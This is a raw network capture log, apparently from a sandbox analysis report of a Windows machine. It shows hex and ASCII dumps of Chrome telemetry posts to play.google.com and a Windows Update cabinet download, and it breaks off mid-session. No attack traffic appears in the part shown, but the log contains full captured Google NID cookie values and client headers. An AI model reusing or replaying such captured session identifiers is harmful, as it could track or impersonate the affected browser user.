8e 32 3c 89 d1 25 Data Ascii: J;0{oJFatlQMt}c9jKz`u9:f7gD`q#9Wp0zDATT,DtP{ +`Re31)]rb<4@.%<.;qss#*@zgi)#Z0RZ[V@o:mBD2<%
2024-09-30 07:51:48 UTC	1390	IN	Data Raw: d8 58 d8 8f 8c fe 86 e6 46 61 22 0c 5a 6b ed 56 94 f4 46 d9 1a 00 1a b9 a5 5b c8 ac 28 ba f9 91 39 b0 72 75 1c 90 c8 f0 82 8e 6f 2c ba d9 ea 6c 90 34 46 73 1d 2b 7b c0 79 63 b7 97 1f 8c 66 d5 bb 57 7e 75 9b b4 81 a3 5e 8e c6 42 1e c8 28 8d b5 2b e6 75 43 e7 f4 7f 45 e1 38 ea 88 46 d6 94 f7 84 49 db 9f e8 26 4b 36 7e b3 c9 69 55 93 a5 f2 b2 49 c3 8a 14 29 85 47 c2 e6 a9 74 bf e8 c0 03 e3 ab ca 20 41 49 69 c2 48 9f 50 d3 62 ce 8a bd 48 8a 37 20 d6 f8 29 3f 53 0d 4d 26 4f 53 ab 8b e4 49 aa 5d 8f 06 b2 cd 2d 94 a1 f3 0e 03 76 f9 16 94 1c 5c d0 11 fd 05 f6 d5 1f 8d cf 39 ed ad e1 3b c3 de 73 16 c9 ec 04 25 57 0d 6a 5a 42 e5 11 ca 9a 83 db c9 f1 7c e2 6e ce 34 3d 4b 61 ab 5d 3a be 73 ce 26 23 00 34 7c 52 06 01 d8 50 86 4d 49 f6 c1 6c 73 98 99 44 80 b0 7b 4a 0b Data Ascii: XFa"ZkVF[(9ruo,l4Fs+{ycfW~u^B(+uCE8FI&K6~iUI)Gt AIiHPbH7 )?SM&OSI]-v\9;s%WjZB\|n4=Ka]:s&#4\|RPMIlsD{J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49779	142.250.181.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:48 UTC	1235	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1221 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=viiVS2Vve-QLWGKdMtSeoFsHacojApum0kBX4v5XFJGUjOkX2vzVwU6mPDnDDB9BzXp21WMnAYkG1-VY4GtkffaWU_QnnApib8GtbzGHWK3Wyd3zJZInBf_moQQFnb053OGnyWoSKXXoxpgazVk7SLXkb-hU-at2zRBiQMIcVpZcBZsg0WY
2024-09-30 07:51:48 UTC	1221	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 32 37 36 38 32 36 39 36 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],558,[["1727682696000",null,null,null,
2024-09-30 07:51:48 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI; expires=Tue, 01-Apr-2025 07:51:48 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:51:48 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 30 Sep 2024 07:51:48 GMT Connection: close Transfer-Encoding: chunked
2024-09-30 07:51:48 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:51:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49786	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AkfybAvKZ32l69F&MD=OShox1r7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-30 07:52:00 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: bef301a4-77c9-47d2-a7f3-71a49ddad9d2 MS-RequestId: cfdfdacc-bd18-44f6-baf9-2f77575cc5e5 MS-CV: h26CCS0g4EarMFNC.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 30 Sep 2024 07:52:00 GMT Connection: close Content-Length: 30005
2024-09-30 07:52:00 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-09-30 07:52:00 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49792	142.250.181.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:52:11 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1223 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:52:11 UTC	1223	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 37 32 39 39 30 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682729902",null,null,null
2024-09-30 07:52:12 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:52:12 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:52:12 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:52:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49793	142.250.181.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:52:11 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1417 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:52:11 UTC	1417	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 37 32 39 39 39 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682729995",null,null,null
2024-09-30 07:52:12 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:52:12 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:52:12 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:52:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49794	142.250.181.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:52:12 UTC	1226	OUT	POST /log?hasfast=true&authuser=0&format=json HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1043 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:52:12 UTC	1043	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 62 6f 71 5f 69 64 65 6e 74 69 74 79 66 72 6f 6e 74 65 6e 64 61 75 74 68 75 69 73 65 72 76 65 72 5f 32 30 32 34 30 39 32 34 2e 30 32 5f 70 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 33 2c 30 2c 30 Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"boq_identityfrontendauthuiserver_20240924.02_p0",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[3,0,0
2024-09-30 07:52:12 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:52:12 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:52:12 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:52:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50774	142.250.74.206	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:52:42 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1264 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:52:42 UTC	1264	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 37 36 30 36 33 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google 